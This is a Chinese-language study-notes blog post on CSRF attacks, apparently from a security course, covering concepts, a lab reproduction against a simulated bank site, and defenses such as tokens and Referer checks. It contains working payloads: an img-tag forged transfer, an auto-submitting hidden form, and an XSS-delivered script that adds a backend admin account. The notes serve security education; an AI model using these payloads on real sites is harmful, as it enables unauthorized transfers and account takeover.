[网络安全学习篇62]:CSRF 攻击

引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足;对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以我就想到了通过写博客(课程笔记)的形式去学习它,虽然写博客会让我多花几倍的时间去学习它,但是当我完成一篇博客所获得的成就感和你们对于我的认同感,让我很满足,能够鼓励我一天天的坚持下去,也希望和我一起学习本期视频的"同道"们也能给一直坚持下去。我们大家一起加油。由于作者本身也是网络信息安全小白,大部分知识点都是初次接触,出现对其理解不深入,不完整,甚至也会出现错误有问题的地方,希望大家谅解、留言提出指正,同时也欢迎大家来找我一起交流学习!!!

 

往期博客:

第一阶段:

[网络安全学习篇1]:windowsxp、windows2003、windows7、windows2008系统部署(千峰网络安全视频笔记)

[网络安全学习篇24]:漏洞与木马(千峰网络安全视频笔记 p117-p118)

第二阶段:

[网络安全学习篇25]:初识Linux及简单命令

[网络安全学习篇32]:Linux脚本编写汇总及应用

第三阶段:

[网络安全学习篇33]:0基础带你入门python

[网络安全学习篇38]:基础环境搭建

[网络安全学习篇39]:HTML标签基础 常用的标签 表格

[网络安全学习篇42]:靶场环境搭建(ubuntu系统安装优化及vulhub安装)

[网络安全学习篇43]:PHP基础+变量 运算符 流程控制语句

[网络安全学习篇48]:JS 基础 函数 事件

第四阶段:

[网络安全学习篇49]:渗透测试方法论

[网络安全学习篇50]:Web架构安全分析

[网络安全学习篇51]:信息收集

[网络安全学习篇52]:扫描技术

[网络安全学习篇53]:口令破解

[网络安全学习篇54]:SQL注入

[网络安全学习篇55]:SQL自动化注入

[网络安全学习篇56]:XSS

[网络安全学学习篇57]:XSS(二)

[网络安全学习篇58]:PHP代码注入

[网络安全学习篇59]:OS命令注入

[网络安全学习篇60]:文件上传

[网络安全学习篇61]:文件包含

[网络安全学习篇62]:CSRF 攻击(本篇)

下期博文:

[网络安全学习篇63]:SSRF

 

目录

 

CSRF

*概述

*关键点

*目标

CSRF 场景复现

*正常业务

*CSRF 攻击

如何触发

*POST 方式

实战:与XSS 结合添加后台账户

CSRF 的防御

*无效防御

@ 使用密码cookie

@ 仅接受POST 请求

@ 多步交易

@ URL 重写

@ HTTPS

*有效的防御

@ 验证Referer 字段

@ 添加Token验证

@ 二次验证

@ 用户养成良好的习惯


CSRF

*概述

跨站请求伪造(Cross-site request forgery,SCRF)是一种攻击,它强制终端用户在当前对其进行身份验证后的Web 应用程序上执行非本意的操作。

CSRF 攻击的重点在伪造更改状态的请求,而不是盗取数据,因为攻击者无法查看对伪造请求的响应。

借助社工的一些帮助(例如通过电子邮件或聊天发送链接),攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF 攻击可以强制用户执行状态更改的请求,例如转移资金,更改其电子邮件等。如果受害者是管理账户,CSRF 可能危及整个Web 程序。

*关键点

CSRF 是一种欺骗受害者提交恶意请求的攻击。它继承了受害者的身份和特权,代表受害者执行非本意、恶意的操作。

对于大多数站点,浏览器请求自动发送与站点关联的所有凭据,例如用户的会话cookie,IP 地址,Windows域凭据等。因此,如果用户当前已对该站点进行了身份验证,则该站点将无法区分受害者发送的伪造请求和受害者发送的合法请求。

*目标

CSRF 攻击目标是能够更改服务器状态或数据的业务或功能,例如更改受害的电子邮件地址、密码或购买商品。强制受害者查询数据,对于供给者来说没什么用,因为无法获得服务器响应。因此,SCRF攻击正对引起状态变化的请求。

有时可以将CSRF 攻击存储在易受攻击的站点上。这些漏洞被称为“存储的CSRF漏洞”。这可以通过简单地接受HTML 的字段中存储IMG 或IFRAME 标记,或通过更复杂的跨站点脚本攻击来实现。如果攻击可以在站点中存储SCRF 攻击,则攻击的严重性会放大。特别是,收到攻击的可能性增加,因为受害者比互联网上的某个随机页面更有可能查看包含攻击的页面。(具备普遍性)

 

CSRF 场景复现

Web 应用

为了复现CSRF 攻击的场景,我们搭建了一个银行的模拟网站,其核心业务就是转账。

*正常业务

首先我们使用[admin/123456]登录银行账户。

在另一台浏览器中,使用[test/123456]登录

可以操作admin用户给test用户汇款

*CSRF 攻击

我们以admin用户的身份,在没有退掉当前网站的情况下,访问了一个极具诱惑性的网站。

当我们在这个网站中点击了某个链接

此时,我们会发现账户中给hacker 转了1000.

我们会发现,admin用户的并没有意愿给hacker 用户转账,这个操作完全是非本意的,而且请求在admin 用户不知不觉的情况下被发送。说明test 用户遭受了CSRF 攻击

如何触发

1<a href="转账链接">一刀99</a>

2<amg src="">

----------

<meta charset='utf-8'>

<img src='./1.jpg'><br />

<img src='http://192.168.1.200/bank/action.php?

username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'

alt='宝刀在手,谁与争锋'>

-----------

这里,该页面通过<img> 标签发送一个get 请求,这个get 请求,正是用户发起的转账业务的请求

*POST 方式

即便转账操作使用POST 方法,攻击者也可以通过构造表单的方式来伪造请求,核心代码如下

----------

<meta charset='utf-8'>

<form name='csrf' action='http://192.168.1.200/bank/action.php' method='post'>

<input type='hidden' name='username' value='hacker'>

<input type='hidden' name='money' value='100'>

</form>

<script>document.csrf.submit()</script>

<img src="./1.jpg" ><br />

-----------

实战:与XSS 结合添加后台账户

攻击者可以通过XSS 来触发CSRF 攻击。因为,可以利用JS 来发送请求。

通过研究受害者的业务流程,攻击者可以构造如下代码。

---------------

<script>

xmlhttp=new XMLHttpRequest();

xmlhttp.open(\'post\',\'http://192.168.1.200/cms/admin/user.action.php\',false);

xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");

xmlhttp.send(\'act=add&username=GGG&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0\');

</script>

-------------

我们将这段代码插入到网站留言板中,然后模拟网站管理员,登入后台,进行留言审核,只要管理员刷新页面就会触发XSS 代码,以管理员的身份发送一个请求,创建一个后台账户[GGG/123456],同时网站后台管理员一点感觉都没有。

 

CSRF 的防御

*无效防御

很多防御方式都没有解决CSRF 的问题

 

@ 使用密码cookie

 

但是,所有cookie,即使是秘密的cookie,也会随着每个请求一起提交。无论最终用户是否被欺骗提交请求,都将提交所用身份验证令牌(身份凭据)。

 

@ 仅接受POST 请求

可以开发应用程序以仅接受用于执行业务逻辑的POST 请求。误解是由于攻击者无法构建恶意链接,因此无法执行CSRF 攻击。不幸的是,这种逻辑是不正确的。有许多方法可以让攻击者欺骗受害者提交伪造的POST 请求,例如在隐藏值的攻击者网站中托管的简单表单。此表单可以有Javascript 自动触发,也可以由认为表单会执行其他操作的受害者触发。

 

@ 多步交易

多步交易不足以预防CSRF 。只要攻击者可以预测或推断完整的事务的每个步骤,就可以实现CSRF。

 

@ URL 重写

这可能被视为有用的CSRF预防技术,因为攻击者无法猜测受害者的会话ID。但是,用户的会话IDURL中公开。所以不建议引入另一个漏洞来修复一个漏洞。

 

@ HTTPS

HTTPS 本身无法防御CSRF。但是,HTTPS应被视为任何预防措施应被值得信赖的先决条件。

 

*有效的防御

@ 验证Referer 字段

更具HTTP协议,在HTTP头中有一个字段Referer,他记录了该HTTP请求的来源地址。在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站。用户正常登录该银行网站,在首次提交时,该转账请求的Referer 的值就是当前页面的URL。而如果攻击者要该网站实施CSRF 攻击,他只能在自己的网站构造请求,当用户通过攻击者的网站发送请求到银行使,银行就会验证其Referer 值,如果Referer 使其他网站的话,就有可能使CSRF 攻击,则拒绝该请求。

(注:Referer 使可以修改的)

 

@ 添加Token验证

CSRF 攻击之所以能够成功,是因为攻击者可以伪造用的请求,该请求中所用的用户验证信息都存在与Cookie 中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的Cookie 来安全验证。由此可知,低于CSRF 攻击的关键在于:在请求中放入攻击者不能伪造的信息,并且该信息不存在于Cookie 之中。鉴于此,系统开发者可以在HTTP请求中以参数的形式加入一个随机长的token 值,并在服务器端建立一个拦截器用来验证这个token,如果请求中没有token 或者token内容不正确,则认为可能是CSRF攻击 而拒绝该请求。

 

@ 二次验证

二次验证,就是在转账等关键操作之前提供当前用户的密码或者验证码。二次验证可以有效地防御CSRF攻击。

 

@ 用户养成良好的习惯

如若我们养成良好的上网习惯,则能偶很大程度上减少CSRF攻击的危害,例如,用户在上网时,不要轻易点击网络论坛、聊天室、即时通讯工具或电子邮件中出现的链接或者图片;即时退出长时间不适用的已登录账户,尤其是管理员,应尽量在登出系统的情况下点击未知链接或图片,除此之外,用户还需要再连接互联网的计算机上安装合适的安全防护软件,并及时更新软件厂商发布的特征库,以保持安全软件对最新攻击的实时跟踪。

 


参考文献:

千峰网络信息安全开源课程

 

 

 

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

beglage

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值